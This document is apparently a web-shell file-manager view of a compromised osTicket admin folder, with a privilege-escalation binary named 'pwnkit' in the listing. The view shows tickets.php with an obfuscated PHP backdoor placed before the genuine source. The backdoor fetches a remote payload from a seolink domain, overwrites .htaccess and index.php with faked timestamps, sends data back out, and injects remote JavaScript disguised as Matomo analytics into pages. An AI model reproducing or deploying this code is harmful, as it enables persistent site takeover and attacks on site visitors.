Gecko [ www.casapremiada.novaexata.com.br ]

Name	Size	Permission
apps	[ DIR ]	drwxr-xr-x
css	[ DIR ]	drwxr-xr-x
images	[ DIR ]	drwxr-xr-x
js	[ DIR ]	drwxr-xr-x
.htaccess	127 B	-r--r--r--
.mad-root	0 B	-rw-r--r--
admin.inc.php	18.47 KB	-rw-r--r--
admin.php	15.78 KB	-rw-r--r--
ajax.php	32.37 KB	-rw-r--r--
apikeys.php	21.15 KB	-rw-r--r--
audits.php	16.62 KB	-rw-r--r--
autocron.php	18.03 KB	-rw-r--r--
banlist.php	22.86 KB	-rw-r--r--
canned.php	24.12 KB	-rw-r--r--
categories.php	22.21 KB	-rw-r--r--
dashboard.php	17.45 KB	-rw-r--r--
departments.php	29.06 KB	-rw-r--r--
directory.php	16.49 KB	-rw-r--r--
emails.php	20.11 KB	-rw-r--r--
emailsettings.php	17.03 KB	-rw-r--r--
emailtest.php	21.21 KB	-rw-r--r--
export.php	16.45 KB	-rw-r--r--
faq.php	22.41 KB	-rw-r--r--
filters.php	22.54 KB	-rw-r--r--
forms.php	22.59 KB	-rw-r--r--
helptopics.php	27.55 KB	-rw-r--r--
index.php	16.25 KB	-rw-r--r--
kb.php	16.76 KB	-rw-r--r--
lists.php	24.15 KB	-rw-r--r--
login.php	20.18 KB	-rw-r--r--
logo.php	16.93 KB	-rw-r--r--
logout.php	16.7 KB	-rw-r--r--
logs.php	17.96 KB	-rw-r--r--
orgs.php	20.56 KB	-rw-r--r--
pages.php	21.86 KB	-rw-r--r--
plugins.php	20.75 KB	-rw-r--r--
profile.php	18.14 KB	-rw-r--r--
pwnkit	10.99 KB	-rwxr-xr-x
pwreset.php	18.82 KB	-rw-r--r--
queues.php	19.38 KB	-rw-r--r--
roles.php	21.55 KB	-rw-r--r--
schedules.php	18.2 KB	-rw-r--r--
settings.php	17.72 KB	-rw-r--r--
slas.php	21.78 KB	-rw-r--r--
staff.inc.php	20.88 KB	-rw-r--r--
staff.php	24.77 KB	-rw-r--r--
system.php	16.46 KB	-rw-r--r--
tasks.php	25.66 KB	-rw-r--r--
teams.php	21.64 KB	-rw-r--r--
templates.php	24.75 KB	-rw-r--r--
tickets.php	40.77 KB	-rw-r--r--
upgrade.php	19.03 KB	-rw-r--r--
users.php	24.72 KB	-rw-r--r--

Code Editor : tickets.php

<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?>
<?php
/*************************************************************************
    tickets.php

Handles all tickets related actions.

Peter Rotich <peter@osticket.com>
    Copyright (c)  2006-2013 osTicket
    http://www.osticket.com

Released under the GNU General Public License WITHOUT ANY WARRANTY.
    See LICENSE.TXT for details.

vim: expandtab sw=4 ts=4 sts=4:
**********************************************************************/

require('staff.inc.php');
require_once(INCLUDE_DIR.'class.ticket.php');
require_once(INCLUDE_DIR.'class.dept.php');
require_once(INCLUDE_DIR.'class.filter.php');
require_once(INCLUDE_DIR.'class.canned.php');
require_once(INCLUDE_DIR.'class.json.php');
require_once(INCLUDE_DIR.'class.dynamic_forms.php');
require_once(INCLUDE_DIR.'class.export.php');       // For paper sizes

// Fetch ticket queues organized by root and sub-queues
$queues = CustomQueue::getHierarchicalQueues($thisstaff);

$page='';
$ticket = $user = null; //clean start.
$redirect = false;
//LOCKDOWN...See if the id provided is actually valid and if the user has access.
if(isset($_REQUEST['id']) || isset($_REQUEST['number'])) {
    if($_REQUEST['id'] && !($ticket=Ticket::lookup($_REQUEST['id'])))
         $errors['err']=sprintf(__('%s: Unknown or invalid ID.'), __('ticket'));
    elseif($_REQUEST['number'] && !($ticket=Ticket::lookup(array('number' => $_REQUEST['number']))))
         $errors['err']=sprintf(__('%s: Unknown or invalid number.'), __('ticket'));
     elseif(!$ticket || !$ticket->checkStaffPerm($thisstaff)) {
         $errors['err']=__('Access denied. Contact admin if you believe this is in error');
         $ticket=null; //Clear ticket obj.
     }
}

if (!$ticket) {
    // Display a ticket queue. Decide the contents
    $queue_id = null;

// Search for user
    if (isset($_REQUEST['uid']))
        $user = User::lookup($_REQUEST['uid']);

if (isset($_REQUEST['email']))
        $user = User::lookupByEmail($_REQUEST['email']);

if ($user
            && $_GET['a'] !== 'open'
    ) {
        $criteria = [
            ['user__emails__address', 'equal', $user->getDefaultEmailAddress()],
            ['user_id', 'equal', $user->id],
        ];
        if ($S = $_GET['status'])
            // The actual state is tracked by the key
            $criteria[] = ['status__state', 'includes', [$S => $S]];
        $_SESSION['advsearch']['uid'] = $criteria;
        $queue_id = "adhoc,uid";
    }
    // Search for organization tickets
    elseif (isset($_GET['orgid'])
        && ($org = Organization::lookup($_GET['orgid']))
    ) {
        $criteria = [
            ['user__org__name', 'equal', $org->name],
            ['user__org_id', 'equal', $org->id],
        ];
        if ($S = $_GET['status'])
            $criteria[] = ['status__state', 'includes', [$S => $S]];
        $_SESSION['advsearch']['orgid'] = $criteria;
        $queue_id = "adhoc,orgid";
    }
    // Basic search (click on 🔍 )
    elseif (isset($_GET['a']) && $_GET['a'] === 'search'
        && ($_GET['query'])
    ) {
        $wc = mb_str_wc($_GET['query']);
        if ($wc < 4) {
            $key = substr(md5($_GET['query']), -10);
            if ($_GET['search-type'] == 'typeahead'
                    || Validator::is_emailish($_GET['query'])) {
                // Use a faster index
                $criteria = [
                    'user__emails__address',
                    Validator::is_valid_email($_GET['query']) ? 'equal' : 'contains',
                    $_GET['query']
                ];
            } elseif (Validator::is_numeric($_GET['query'])) {
                $criteria = ['number', 'contains', $_GET['query']];
            } else {
                $criteria = [':keywords', null, $_GET['query']];
            }
            $_SESSION['advsearch'][$key] = [$criteria];
            $queue_id = "adhoc,{$key}";
        } else {
            $errors['err'] = sprintf(
                    __('Search term cannot have more than %d keywords'), 4);
        }
    }

$queue_key = sprintf('::Q:%s', ObjectModel::OBJECT_TYPE_TICKET);
    $queue_id = $queue_id ?: @$_GET['queue'] ?: $_SESSION[$queue_key]
        ?? $thisstaff->getDefaultTicketQueueId() ?: $cfg->getDefaultTicketQueueId();

// Recover advanced search, if requested
    if (isset($_SESSION['advsearch'])
        && strpos($queue_id, 'adhoc') === 0
    ) {
        list(,$key) = explode(',', $queue_id, 2);
        // For queue=queue, use the most recent search
        if (!$key) {
            reset($_SESSION['advsearch']);
            $key = key($_SESSION['advsearch']);
        }

$queue = AdhocSearch::load($key);
    }

if ((int) $queue_id && !isset($queue))
        $queue = SavedQueue::lookup($queue_id);

